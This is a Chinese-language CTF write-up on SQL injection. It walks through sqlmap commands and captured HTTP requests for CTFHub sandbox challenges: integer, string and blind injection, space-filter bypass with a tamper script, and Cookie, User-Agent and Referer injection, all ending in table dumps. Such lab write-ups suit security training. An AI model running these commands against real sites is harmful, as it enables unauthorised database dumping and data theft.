CTF Web SQL 注入学习笔记

某些网站上存在 SQL 的漏洞,我们可以利用漏洞进行 SQL 注入获取数据库的信息。 一般来说网址或请求的末尾带有 ?id=1 的字样我们就可以考虑 SQL 注入。 本文一切例题均可在 CTFHub 找到。

sqlmap 介绍

sqlmap 是一个协助 SQL 注入的工具,且 Kali Linux 自带。我们可以很方便地获取数据库的信息。 常用方法如下表:

参数描述
-u <URL>指定注入链接为 <URL>
-r <filename>指定注入网站的 HTTP 请求为 <filename> 文本文件中的内容
--dbs获取数据库数据
--tables获取表信息
--columns获取列信息
--dump获取字段内容
-D <name>指定搜索的数据库为 <name>
-T <name>指定搜索的表为 <name>
-C <name>指定搜索的列为 <name>
--level <num>指定搜索等级为 <num>
--cookie "<string>"指定访问网页时的 Cookie 为 <string>
-p "<string>"指定测试的类型为 <string>
--tamper "<filename>"附加名为 <filename> 的脚本

使用 sqlmap 进行 SQL 注入

题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> 整数型注入 / 字符型注入 / 报错注入 / 布尔盲注 / 时间盲注 / MySQL 结构 这些题都可用以下套路解决: 输入 1,我们可以在网址上看到 ?id=1 的字样,于是我们可以使用 sqlmap 进行 SQL 注入。 在终端中输入以下指令,可获得数据库的信息(部分信息已用省略号代替): sqlmap -u http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1 –dbs

available databases [4]: [] information_schema [] mysql [] performance_schema [] sqli 于是我们可知有 information_schemamysqlperformance_schemasqli 四个数据库。我们选择 sqli 数据库进行注入(部分信息已用省略号代替): sqlmap -u http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1 -D sqli –tables

Database: sqli [2 tables] +——+ | flag | | news | +——+ 于是我们可得到 flagnews 两个表,我们选择注入 flag 表(部分信息已用省略号代替): sqlmap -u http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1 -D sqli -T flag –columns –dump

Database: sqli Table: flag [1 column] +––––+–––––––+ | Column | Type | +––––+–––––––+ | flag | varchar(100) | +––––+–––––––+ [08:59:35] [INFO] fetching columns for table ‘flag’ in database ‘sqli’ [08:59:35] [INFO] fetching entries for table ‘flag’ in database ‘sqli’ Database: sqli Table: flag [1 entry] +–––––––––––––––––+ | flag | +–––––––––––––––––+ | ctfhub{XXXXXX} | +–––––––––––––––––+ 于是我们就获得了 flag。

过滤空格

题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> 过滤空格 在注入时候空格被过滤掉了,这时我们可以使用 /**/ 来代替空格。 sqlmap 有一个附加脚本 space2comment.py 可将空格替换成 /**/,正好可解决这个问题。 于是我们执行以下指令即可: sqlmap -u “http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1” –tamper “space2comment.py” –dbs sqlmap -u “http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1” –tamper “space2comment.py” -D sqli –tables sqlmap -u “http://challenge-XXX.sandbox.ctfhub.com:XXXXX/?id=1” –tamper “space2comment.py” -D sqli -T kttcekvceq –columns –dump 于是可获得 flag。

Cookie 注入

题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> Cookie 注入 利用 brupsuite 抓包,发现注入点在 Cookie 中,于是我们可以使用 sqlmap 进行 Cookie 注入。 注意我们需要对 sqlmap 设置 --level 2 才能使其扫描 Cookie。执行代码如下:

sqlmap -u "http://challenge-XXX.sandbox.ctfhub.com:XXXXX/" --cookie "id=1" --level 2 --dbs
sqlmap -u "http://challenge-XXX.sandbox.ctfhub.com:XXXXX/" --cookie "id=1" --level 2 -D sqli --tables
sqlmap -u "http://challenge-XXX.sandbox.ctfhub.com:XXXXX/" --cookie "id=1" --level 2 -D sqli -T hxwrqtoxda --columns --dump

UA 注入

题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> UA 注入 这道题的注入点在 User-Agent 中。 这时我们使用 brupsuite 抓包,并将信息存储在 test.txt 以备注入使用(* 表示指定注入的点): POST / HTTP/1.1 Host: challenge-XXX.sandbox.ctfhub.com:XXXXX Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: * Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0 于是我们可以用 sqlmap 分析抓包信息。设置 --level 3 并使用 -p 指定为 User-Agent 注入即可。执行代码如下: sqlmap -r “test.txt” -p User-Agent –level 3 –dbs sqlmap -r “test.txt” -p User-Agent –level 3 -D sqli –tables sqlmap -r “test.txt” -p User-Agent –level 3 -D sqli -T swthkhjyyp –columns –dump

Refer 注入

题目地址:CTFHub -> 技能树 -> Web -> SQL 注入 -> Refer 注入 我们使用 brupsuite 抓包,并未发现 Refer,于是可以自己构造 Refer(* 表示指定注入的点):

GET / HTTP/1.1
Host: challenge-XXX.sandbox.ctfhub.com:XXXXX
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Referer: id=1*

于是我们可以用 sqlmap 分析抓包信息。设置 --level 5 并使用 -p 指定为 referer 注入即可。执行代码如下:

sqlmap -r "test.txt" -p referer --level 5 --dbs
sqlmap -r "test.txt" -p referer --level 5 -D sqli --tables
sqlmap -r "test.txt" -p referer --level 5 -D sqli -T vdcwkjvvjz --columns --dump